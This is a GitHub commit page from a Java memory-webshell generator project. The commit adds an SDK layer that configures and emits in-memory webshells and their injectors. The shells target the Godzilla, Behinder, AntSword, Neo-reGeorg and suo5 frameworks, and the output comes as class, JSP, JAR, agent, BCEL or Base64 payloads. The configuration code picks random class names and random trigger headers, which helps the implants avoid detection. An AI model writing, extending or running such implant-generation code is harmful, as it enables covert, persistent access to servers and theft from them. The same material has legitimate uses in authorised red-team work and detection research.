Skip to content

Commit 6d14555

Browse files
committed
add: 添加对 Maven SDK 的支持
1 parent e2ad182 commit 6d14555

File tree

7 files changed

+419
-12
lines changed

7 files changed

+419
-12
lines changed

jmg-core/src/main/java/jmg/core/config/AbstractConfig.java

Lines changed: 28 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,9 @@
11
package jmg.core.config;
22

3+
import jmg.core.util.ClassNameUtil;
4+
import jmg.core.util.CommonUtil;
5+
import jmg.core.util.RandomHttpHeaderUtil;
6+
37
import java.util.HashMap;
48
import java.util.Map;
59

@@ -71,7 +75,6 @@ public void setInjectorBytesLength(int injectorBytesLength) {
7175
}
7276

7377

74-
7578
private String shellClassName;
7679

7780
public String getShellClassName() {
@@ -83,7 +86,6 @@ public void setShellClassName(String className) {
8386
}
8487

8588

86-
8789
private String shellSimpleClassName;
8890

8991
public String getShellSimpleClassName() {
@@ -108,7 +110,6 @@ public void setShellBytes(byte[] shellBytes) {
108110
private int shellBytesLength;
109111

110112

111-
112113
public int getShellBytesLength() {
113114
return shellBytesLength;
114115
}
@@ -140,8 +141,6 @@ public void setEnableDebug(boolean enableDebug) {
140141
private boolean enableDebug = false;
141142

142143

143-
144-
145144
private String urlPattern;
146145

147146
private String outputFormat;
@@ -245,7 +244,6 @@ public void setHeaderValue(String headerValue) {
245244
}
246245

247246

248-
249247
public String getGadgetType() {
250248
return gadgetType;
251249
}
@@ -331,7 +329,6 @@ public void setDetectWay(String detectWay) {
331329
private boolean enabledExtender = false;
332330

333331

334-
335332
public boolean isEnabledExtender() {
336333
return enabledExtender;
337334
}
@@ -360,7 +357,6 @@ public void setExtenderClassName(String extenderClassName) {
360357
private String dnsDomain;
361358

362359

363-
364360
public String getDnsDomain() {
365361
return dnsDomain;
366362
}
@@ -405,4 +401,28 @@ public void setJarClassName(String jarClassName) {
405401
}
406402

407403
private String jarClassName;
404+
405+
public void build() {
406+
// 检查 serverType、modelType、formatType 是否已设置
407+
if (this.toolType == null || this.serverType == null || this.shellType == null || this.outputFormat == null || this.gadgetType == null) {
408+
throw new IllegalStateException("toolType、serverType、shellType 、formatType and gadgetType must be set.");
409+
}
410+
// 无自定义则随机生成
411+
Map.Entry<String, String> header = RandomHttpHeaderUtil.generateHeader();
412+
if (this.getHeaderName() == null) this.setHeaderName(header.getKey());
413+
if (this.getHeaderValue() == null) this.setHeaderValue(header.getValue());
414+
if (this.getUrlPattern() == null) this.setUrlPattern("/*");
415+
if (this.getSavePath() == null) this.setSavePath(System.getProperty("user.dir"));
416+
if (this.getInjectorClassName() == null)
417+
this.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName());
418+
if (this.getInjectorSimpleClassName() == null)
419+
this.setInjectorSimpleClassName(CommonUtil.getSimpleName(this.getInjectorClassName()));
420+
if (this.getShellClassName() == null)
421+
this.setShellClassName(ClassNameUtil.getRandomShellClassName(this.getShellType()));
422+
if (this.getShellSimpleClassName() == null)
423+
this.setShellSimpleClassName(CommonUtil.getSimpleName(this.getShellClassName()));
424+
if (this.getOutputFormat().contains(Constants.FORMAT_BCEL))
425+
this.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
426+
this.setSavePath(CommonUtil.getFileOutputPath(this.getOutputFormat(), this.getInjectorSimpleClassName(), this.getSavePath()));
427+
}
408428
}

jmg-sdk/pom.xml

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<parent>
8+
<groupId>jmg</groupId>
9+
<artifactId>java-memshell-generator</artifactId>
10+
<version>1.0.8</version>
11+
</parent>
12+
13+
<artifactId>jmg-sdk</artifactId>
14+
15+
<properties>
16+
<maven.compiler.source>8</maven.compiler.source>
17+
<maven.compiler.target>8</maven.compiler.target>
18+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
19+
</properties>
20+
<dependencies>
21+
<dependency>
22+
<groupId>${parent.groupId}</groupId>
23+
<artifactId>jmg-core</artifactId>
24+
<version>${parent.version}</version>
25+
<scope>compile</scope>
26+
</dependency>
27+
<dependency>
28+
<groupId>${parent.groupId}</groupId>
29+
<artifactId>jmg-antsword</artifactId>
30+
<version>${parent.version}</version>
31+
<scope>compile</scope>
32+
</dependency>
33+
<dependency>
34+
<groupId>${parent.groupId}</groupId>
35+
<artifactId>jmg-behinder</artifactId>
36+
<version>${parent.version}</version>
37+
<scope>compile</scope>
38+
</dependency>
39+
<dependency>
40+
<groupId>${parent.groupId}</groupId>
41+
<artifactId>jmg-custom</artifactId>
42+
<version>${parent.version}</version>
43+
<scope>compile</scope>
44+
</dependency>
45+
<dependency>
46+
<groupId>${parent.groupId}</groupId>
47+
<artifactId>jmg-godzilla</artifactId>
48+
<version>${parent.version}</version>
49+
<scope>compile</scope>
50+
</dependency>
51+
<dependency>
52+
<groupId>${parent.groupId}</groupId>
53+
<artifactId>jmg-extender</artifactId>
54+
<version>${parent.version}</version>
55+
<scope>compile</scope>
56+
</dependency>
57+
<dependency>
58+
<groupId>${parent.groupId}</groupId>
59+
<artifactId>jmg-neoregeorg</artifactId>
60+
<version>${parent.version}</version>
61+
<scope>compile</scope>
62+
</dependency>
63+
<dependency>
64+
<groupId>${parent.groupId}</groupId>
65+
<artifactId>jmg-suo5</artifactId>
66+
<version>${parent.version}</version>
67+
<scope>compile</scope>
68+
</dependency>
69+
</dependencies>
70+
71+
</project>
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
package jmg.sdk;
2+
3+
import jmg.core.config.AbstractConfig;
4+
import jmg.core.config.Constants;
5+
import jmg.core.generator.InjectorGenerator;
6+
import jmg.core.util.CommonUtil;
7+
import jmg.sdk.util.ShellGenerator;
8+
9+
10+
public class jMGenerator {
11+
12+
private AbstractConfig config;
13+
14+
public jMGenerator(AbstractConfig config) {
15+
this.config = config;
16+
17+
}
18+
19+
/**
20+
* 生成内存马字节流、注入器字节流
21+
*/
22+
public void genPayload() throws Exception {
23+
new ShellGenerator().makeShell(this.config);
24+
new InjectorGenerator().makeInjector(this.config);
25+
}
26+
27+
/**
28+
* 内存马字节流
29+
*/
30+
public byte[] getShellBytes() {
31+
return this.config.getShellBytes();
32+
}
33+
34+
/**
35+
* 注入器字节流
36+
*/
37+
public byte[] getInjectorBytes() {
38+
return this.config.getInjectorBytes();
39+
}
40+
41+
public void printPayload() {
42+
System.out.println("配置信息:");
43+
System.out.println(this.config.getToolType() + " " + this.config.getServerType() + " " + this.config.getShellType() + " " + this.config.getOutputFormat() + "\n");
44+
System.out.println("结果输出:");
45+
System.out.println(this.formatPayload());
46+
System.out.println();
47+
}
48+
49+
/**
50+
* 处理注入器字节流
51+
*/
52+
public String formatPayload() {
53+
switch (config.getOutputFormat()) {
54+
case Constants.FORMAT_CLASS:
55+
case Constants.FORMAT_JSP:
56+
case Constants.FORMAT_JAR:
57+
case Constants.FORMAT_JAR_AGENT:
58+
try {
59+
CommonUtil.transformToFile(config);
60+
return config.getSavePath();
61+
} catch (Throwable e) {
62+
}
63+
break;
64+
case Constants.FORMAT_BCEL:
65+
case Constants.FORMAT_JS:
66+
case Constants.FORMAT_BASE64:
67+
case Constants.FORMAT_BIGINTEGER:
68+
try {
69+
return CommonUtil.transformTotext(config);
70+
} catch (Throwable e) {
71+
}
72+
break;
73+
}
74+
return "";
75+
}
76+
}

0 commit comments

Comments
 (0)